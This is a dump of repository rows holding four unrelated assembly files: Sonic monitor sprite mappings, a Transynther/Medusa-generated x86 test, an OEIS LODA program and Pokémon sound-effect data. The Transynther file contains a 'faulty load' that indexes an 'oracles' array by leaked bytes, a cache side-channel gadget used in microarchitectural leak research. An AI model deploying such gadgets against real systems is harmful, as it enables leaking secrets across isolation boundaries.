5177243f7e989562de344b6e3e3d10f3391913de | 1,527 | asm | Assembly | _maps/obj26.asm | NatsumiFox/AMPS-Sonic-1-2005 | ac8730799f1b96291358c77a4b64529de94ce8a4 | [
"Apache-2.0"
] | 2 | 2020-04-09T19:36:35.000Z | 2021-01-05T14:20:17.000Z | _maps/obj26.asm | NatsumiFox/AMPS-Sonic-1-2005 | ac8730799f1b96291358c77a4b64529de94ce8a4 | [
"Apache-2.0"
] | null | null | null | _maps/obj26.asm | NatsumiFox/AMPS-Sonic-1-2005 | ac8730799f1b96291358c77a4b64529de94ce8a4 | [
"Apache-2.0"
] | 1 | 2020-06-17T14:16:35.000Z | 2020-06-17T14:16:35.000Z | ; ---------------------------------------------------------------------------
; Sprite mappings - monitors
; ---------------------------------------------------------------------------
dc.w byte_A5A2-Map_obj26, byte_A5A8-Map_obj26
dc.w byte_A5B3-Map_obj26, byte_A5BE-Map_obj26
dc.w byte_A5C9-Map_obj26, byte_A5D4-Map_obj26
dc.w byte_A5DF-Map_obj26, byte_A5EA-Map_obj26
dc.w byte_A5F5-Map_obj26, byte_A600-Map_obj26
dc.w byte_A60B-Map_obj26, byte_A616-Map_obj26
byte_A5A2: dc.b 1 ; static monitor
dc.b $EF, $F, 0, 0, $F0
byte_A5A8: dc.b 2 ; static monitor
dc.b $F5, 5, 0, $10, $F8
dc.b $EF, $F, 0, 0, $F0
byte_A5B3: dc.b 2 ; static monitor
dc.b $F5, 5, 0, $14, $F8
dc.b $EF, $F, 0, 0, $F0
byte_A5BE: dc.b 2 ; Eggman monitor
dc.b $F5, 5, 0, $18, $F8
dc.b $EF, $F, 0, 0, $F0
byte_A5C9: dc.b 2 ; Sonic monitor
dc.b $F5, 5, 0, $1C, $F8
dc.b $EF, $F, 0, 0, $F0
byte_A5D4: dc.b 2 ; speed shoes monitor
dc.b $F5, 5, 0, $24, $F8
dc.b $EF, $F, 0, 0, $F0
byte_A5DF: dc.b 2 ; shield monitor
dc.b $F5, 5, 0, $28, $F8
dc.b $EF, $F, 0, 0, $F0
byte_A5EA: dc.b 2 ; invincibility monitor
dc.b $F5, 5, 0, $2C, $F8
dc.b $EF, $F, 0, 0, $F0
byte_A5F5: dc.b 2 ; 10 rings monitor
dc.b $F5, 5, 0, $30, $F8
dc.b $EF, $F, 0, 0, $F0
byte_A600: dc.b 2 ; 'S' monitor
byte_A601: dc.b $F5, 5, 0, $34, $F8
dc.b $EF, $F, 0, 0, $F0
byte_A60B: dc.b 2 ; goggles monitor
dc.b $F5, 5, 0, $20, $F8
dc.b $EF, $F, 0, 0, $F0
byte_A616: dc.b 1 ; broken monitor
dc.b $FF, $D, 0, $38, $F0
even | 34.704545 | 77 | 0.536346 |
8f0e043092109fc45a8f43f57a42bc966515889b | 4,407 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1845.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1845.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1845.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %r9
push %rax
push %rbp
push %rbx
push %rdi
lea addresses_UC_ht+0x89cf, %rbp
nop
nop
sub %r9, %r9
vmovups (%rbp), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rax
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_UC_ht+0x4c61, %rbx
sub $16383, %r10
movups (%rbx), %xmm6
vpextrq $0, %xmm6, %r8
nop
nop
sub %r9, %r9
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
// Faulty Load
lea addresses_WC+0x61cf, %rcx
nop
nop
cmp %r15, %r15
vmovups (%rcx), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rax
lea oracles, %rbp
and $0xff, %rax
shlq $12, %rax
mov (%rbp,%rax,1), %rax
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 55.78481 | 2,999 | 0.660767 |
b52230d885c62699e3ae3d6f5822ff0a39cb1053 | 725 | asm | Assembly | oeis/127/A127546.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/127/A127546.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/127/A127546.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A127546: a(n) = F(n)^2 + F(n+1)^2 + F(n+2)^2, where F(n) denotes the n-th Fibonacci number.
; Submitted by Jon Maiga
; 2,6,14,38,98,258,674,1766,4622,12102,31682,82946,217154,568518,1488398,3896678,10201634,26708226,69923042,183060902,479259662,1254718086,3284894594,8599965698,22515002498,58945041798,154320122894,404015326886,1057725857762,2769162246402,7249760881442,18980120397926,49690600312334,130091680539078,340584441304898,891661643375618,2334400488821954,6111539823090246,16000218980448782,41889117118256102,109667132374319522,287112280004702466,751669707639787874,1967896842914661158,5152020821104195598
mov $2,1
mov $3,$0
lpb $3
add $1,$2
cmp $4,0
add $2,$4
add $2,$1
sub $3,1
lpe
mov $0,$2
mul $0,2
| 45.3125 | 497 | 0.795862 |
9f369ad7adc7a34082c1120209bd0a011758391a | 261 | asm | Assembly | audio/sfx/cry02_3.asm | AmateurPanda92/pokemon-rby-dx | f7ba1cc50b22d93ed176571e074a52d73360da93 | [
"MIT"
] | 9 | 2020-07-12T19:44:21.000Z | 2022-03-03T23:32:40.000Z | audio/sfx/cry02_3.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | audio/sfx/cry02_3.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2021-03-28T18:33:43.000Z | 2021-05-06T13:12:09.000Z | SFX_Cry02_3_Ch4:
duty 0
squarenote 8, 15, 5, 1152
squarenote 2, 14, 1, 1504
squarenote 8, 13, 1, 1500
endchannel
SFX_Cry02_3_Ch5:
dutycycle 165
squarenote 7, 9, 5, 1089
squarenote 2, 8, 1, 1313
squarenote 8, 6, 1, 1306
SFX_Cry02_3_Ch7:
endchannel
| 14.5 | 26 | 0.716475 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.